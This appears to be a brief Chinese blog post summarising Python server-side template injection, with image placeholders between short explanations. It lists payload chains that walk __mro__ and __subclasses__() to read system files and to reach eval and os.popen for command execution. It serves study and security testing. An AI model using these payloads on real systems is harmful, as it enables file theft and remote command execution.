模板注入總結

lllllx@發表於2020-10-08

1,常用命令
在這裡插入圖片描述

().__class__ 當前類

在這裡插入圖片描述

().__class__.__mro__ 當前類繼承了哪些類

在這裡插入圖片描述

().__class__.__mro__[-1].__subclasses__() object類的所有子類,具體就可以利用這個來找自己所需的類

在這裡插入圖片描述
比如有時第40為file函式,就可以通過

''.__class__.__mro__[-1].__subclasses__()[40]("/etc/password").read()  來進行讀取檔案內容
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__ 檢視子類列表中第59個這個下面的內建函式,找到所需的

在這裡插入圖片描述

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")  找到合適的函式後,可以利用如上所示來進行利用

在這裡插入圖片描述
更多可以參考:

https://www.cnblogs.com/vstar-o/p/13719889.html

相關文章